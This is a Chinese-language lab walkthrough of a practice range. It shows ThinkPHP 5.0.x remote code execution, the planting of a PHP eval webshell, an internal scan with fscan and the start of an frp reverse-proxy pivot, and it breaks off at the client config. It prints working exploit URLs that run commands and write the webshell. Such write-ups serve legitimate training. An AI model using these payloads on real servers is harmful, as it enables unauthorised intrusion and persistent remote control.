打穿你的内网之三层内网渗透

引言

​ 在过去的一些实战经历中发现自己内网相关的技能还比较薄弱，所以专门找了个靶场（teamssix.com）做下练习，靶场的web漏洞利用都很简单，主要训练自己内网搭代理隧道的熟练度，如果你和我一样对复杂网络下隧道搭建不熟悉的话，不妨一起看看这篇文章，希望能对你有一些帮助。

​ 目标：拿下内网最深处主机的flag.txt 文件

外网打点

​ 在互联网环境下发现一处资产 ，这里以 x.x.220.130 替代，直接访问 x.x.220.130 发现以下页面：

​ 很明显这是一个thinkphp应用，随便指定一个路由http://x.x.220.130/index.php/?s=123，爆出thinkphp的详细版本。

​ tp5在5.0-5.0.24 和 5.1.0-5.1.30都是存在RCE（Remote code Execution）的，这里运气很好，直接使用5.0.x路由默认兼容模式进行RCE，使用以下payload 执行id命令：

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

​ 可以看见命令执行成功。

​ 接下来直接写入一个shell ，使用php 的 file_put_contents 函数写个一句话木马：

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E

​ 验证：

​ 验证成功，直接使用蚁剑进行连接。

​ 将超时时间调高，因为后续会上传文件避免超时而中断：

连接成功：

​ 第一层的flag就在网站根目录下面, 直接双击读取即可：

突破边界（第一层）

​ 接上文，已经拿下第一台服务器，尝试对这台服务器进行信息收集：

​ 拿下的这台服务器发现权限并不高仅为www，但是有惊喜的是这台机器存在双网卡，其中一张网卡（ens37）绑定了内网ip（192.168.22.131），证明这台服务器处于企业架构的DMZ（非军事区）区域，且是两个网段的边界节点，那么我们只要借助这台服务器作为跳板即可进入这家企业的内网，至少进入了192.168.22.x/24网段的内网。

22 网段信息收集

​ 既然发现了存在192.168.22.x/24 网段，所以尝试对 22 网段进行信息收集，这里使用fscan （https://github.com/shadow1ng/fscan）工具进行内网大保健.

​ 上传fscan 到服务器目录/tmp

​ 对 192.168.22.x/24 网段进行扫描：

./fscan -h 192.168.22.1/24 -o fscan.log

​ 查看扫描结果：

​ 发现网段内还存在192.168.22.128 和192.168.22.129 , 且192.168.22.128:80 存在 cms服务。

​ 接下来的目标就是拿下192.168.22.128 服务器，直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透，所以需要

以第一台服务作为跳板。

搭建跳板

​ 先画个网络拓扑图，方便后续理解，第一台机器我们也叫它Target 1.

​ 因为在上一步信息收集时发现192.168.22.128:80 (Target 2)存在 cms服务，有两种方式进行利用：

1. 对 Target 2 80 端口进行端口转发。
2. 使用反向代理，将Target 1 的网络通过vps代理出去。

​ 为了进一步对内网进行探测，这里选择第二种方式。

​ 反向代理有很多工具可以使用，frp、ew、ngrok都可以，这里使用frp方式。

​ frp存在服务端（frps）与客户端（frpc）， frps需要一直保持运行，转发方式通过客户端配置文件进行确定。

启用frp 服务端

​ 下载frps到自己的vps上，frps.ini 配置如下 ：

​ 其中 token 表示客户端进行连接的验证参数， 监听端口为17001， dashboard 为frps自带的仪表盘，方便对frps运行情况进行查看，

使用命令frps -c frps.ini 启动即可，如果想要后台运行，可以加入service或者使用nohup启动。

​

​ netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。

Target1 客户端配置

​ 将frpc 传入target1 /tmp/frp目录：

frpc.ini 配置内容：